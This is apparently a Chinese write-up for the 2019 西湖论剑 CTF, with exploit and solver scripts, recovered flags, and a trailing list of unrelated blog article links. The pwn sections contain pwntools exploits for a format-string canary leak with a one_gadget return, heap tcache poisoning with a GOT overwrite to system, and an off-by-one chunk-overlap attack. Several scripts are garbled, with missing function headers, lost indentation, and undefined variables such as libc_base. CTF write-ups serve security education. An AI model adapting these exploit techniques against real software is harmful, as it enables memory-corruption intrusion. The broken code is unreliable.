# 西湖论剑2019 WriteUp

Web

Web1 猜猜flag是什么

Web2 BreakOut

Web3 babyt3

Web4 blog

Misc

Misc1 最短的路

flag{E3EvelynJeffersonE9FloraPrice75D}

Misc2 奇怪的TTL字段

Pwn

Pwn1 story

from pwn import *
#p= process('story')
libc = ELF('./libc-2.23.so')
raw_input()
p.sendline("%15\$p%25\$p")
p.recvuntil("0x")

canary = int(p.recvuntil("0x")[:-2],16)
info("canary:0x%x",canary)
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = (0x808-0x780)*'\x00'+p64(canary)+p64(0)+p64(one)+'\x00'*400
p.recvuntil('story')
p.sendline('200')
p.recvuntil('story')
p.sendline(pay)
p.interactive()

Pwn2 noinfoleak

from pwn import *
#p=process('./noinfoleak')
libc = ELF('./libc-2.23.so')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('>')
p.send(mes)

def dele(idx):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(idx))
def edit(idx,mes):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
p.send(mes)

dele(0)
dele(1)
edit(1,'\x10')
edit(0,p64(0)+p64(0xd1))
dele(4)
a = 0x46# int(raw_input("a"),16)
edit(0,p64(0)+p64(0x71)+'\x5d'+chr(a))
dele(1)
dele(2)
edit(2,'\x10')
dele(5)
dele(6)
edit(6,p64(0x601120))
p.send('\n')
p.recv(24)
info("libc:0x%x",libc_base)
system = libc_base+libc.symbols['system']
edit(11,p64(0x601018))
edit(9,p64(system))
dele(10)

p.interactive()

Pwn3 Storm Note

from pwn import *
#p=process('./storm')
#port:10444
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))

def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)

def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))

edit(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

edit(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

dele(1)
edit(0, 'h'*(0x18))    #off-by-one
dele(1)
dele(2)         #backward consolidate

dele(4)
edit(3, 'h'*(0x18))    #off-by-one
dele(4)
dele(5)         #backward consolidate

dele(2)
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
edit(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
edit(2,p64(0)*8)

p.sendline('666')
p.send('\x00'*0x30)
'''

edit(1,(p64(0x200)+p64(0x100))*32)
dele(1)
edit(0,'a'*(0x100-8))
dele(1)
dele(2)
'''
p.interactive()

Reverse

Re1 Junk_Instruction

check函数在2600

flag{}应该是不校验的

a = [0x33] * 7 + [0x32] * 10 + [0x31] * 10 + [0x30] * 5
b = [0x0E, 0xD7, 0xD6, 0x25, 0x9E, 0xDD, 0x4E, 0x7B, 0x69,
0x34, 0xCB, 0x14, 0x9B, 0x7B, 0xFA, 0xF9, 0xDB, 0x75, 0x62,
0xE7, 0xF5, 0xB5, 0xDE, 0x57, 0x82, 0xCF, 0x0A, 0x08, 0x9D,
0xD3, 0x42, 0xf3]

key = [a[i] ^ b[i] for i in xrange(32)]

cipher = [0x5B, 0xD6, 0xD0, 0x26, 0xC8, 0xDD, 0x19,
0x7E, 0x6E, 0x3E, 0xCB, 0x16, 0x91, 0x7D, 0xFF, 0xAF, 0xDD,
0x76, 0x64, 0xB0, 0xF7, 0xE5, 0x89, 0x57, 0x82, 0x9F, 0x0C,
0x00, 0x9E, 0xD0, 0x45, 0xFA]

flag = [key[i] ^ cipher[i] for i in xrange(32)]

print ''.join(map(chr, flag))[::-1]

Re2 easyCpp

- 其他所有的数加上最后一个

- 顺序整个反过来，最后一个不变

-377
-610
-754
-843
-898
-932
-953
-966
-974
-979
-982
-984
-985
-986
-986
987

Re3 Testre

D9cS9N9iHjMLTdA8YSMRMp

from Crypto.Util.number import long_to_bytes
cipher = 'D9cS9N9iHjMLTdA8YSMRMp'
charset = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
flag = ''

for i in cipher:
flag += chr(charset.index(i))

res = 0
for x in flag:
res = res * 58 + ord(x)

fff = long_to_bytes(res)

print fff

Crypto

Crypto1 HardGame

Flag1:

e = 2且密文很小，直接开根号得到

flag1{Th1s_i5_wHat_You_ne3d_FirsT}

Flag2:

ea9c3c12181a1e82:0808080808080808

JFRYOMPR

flag2{Fuck_Y0u_cAn_Ge7_Se3ond}

Flag1 * Flag2 * Flag:

from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
e=0x9ae923
cipher = cipher.decode('base64').strip()
data = []
for i in xrange(52):
data.append(cipher[i*256:i*256+256])
for i in xrange(51, 0, -1):
data[i] = bytes_to_long(strxor(data[i-1], data[i]))
data = data[0:]
plain = 0
import itertools
tql = [''] * 51
for plain in itertools.product(*['0123456789abcdef'] * 4):
plain = bytes_to_long(''.join(plain))
c = pow(plain, e, n)
if (c in data):
print long_to_bytes(plain), data.index(c)
tql[data.index(c)] = long_to_bytes(plain)
print ''.join(tql)

10652cdf92fb9032a2e4c699448e3ca4ca266a667ccc5af2c95fae7f6de79fcd1fa52cfe72ee7fa3ab90a58c0c2310cfcc42dab372cd17cd0c8282834211d3bbd86324d4b7cb7bb279e6c34876ef259d3357ab66186e0bfe0c5db9c5a7067622dcbc06a42265

flag{64b60d7c2ddcf37f8d50358be1c35f45}

Crypto2 哈夫曼之谜

0 条评论

• ### 粘贴一篇刘大佬的笔记

好久没有更新文章了，作为一个技术人，这是最后一片阵地，也是最后一点尊严。艰难的做，不为什么狗屁情怀，只是证明自己还存在，也不是为了对抗所谓的制度，新单位，就这样...

• ### X-NUCA17’第三期“企业安全众测”靶场挑战赛writeup

周六打了两场比赛，湖湘杯和x-nuca，真心很累，现在把writeup贴出来，算是总结一下，成绩不是很好，大牛勿喷。

• ### 栈论 : 递归与栈式访问，如何用栈实现所有递归操作(函数调用底层篇)

重大错误说明 ： 栈顶的指针始终是指向最后一个入栈元素的位置的，不是最后一个入栈元素的位置上面！请读者留意 (PS : 后来又看了一下，好像也不是什么大问题.....

• ### 语言生成实战：自己训练能讲“人话”的神经网络（上）

在过去的几个月里，我在个人博客上写了100多篇文章。这是相当可观的内容量。我突然想到一个主意：

• ### Linux：awk命令详解

? 简单使用： awk ：对于文件中一行行的独处来执行操作 。 awk -F ：'{print \$1,\$4}'   :使用‘：’来分割这一行，把这一行的第一...

• ### 初识ABP vNext（5）：ABP扩展实体

上一篇实现了前端vue部分的用户登录和菜单权限控制，但是有一些问题需要解决，比如用户头像、用户介绍字段目前还没有，下面就来完善一下。

• ### Go 语言学习之流程控制

在 Go 语言中，if...else... 语句的条件表达式必须是布尔类型，可以省略小括号，并且左大括号不能另起一行。通过代码，我们演示 if...else.....

• ### C++核心准则：R.10: 避免使用malloc()和free()

malloc() and free() do not support construction and destruction, and do not mix ...

• ### [Python]循环中的else,break和continue详解

原文链接：http://blog.csdn.net/humanking7/article/details/43792425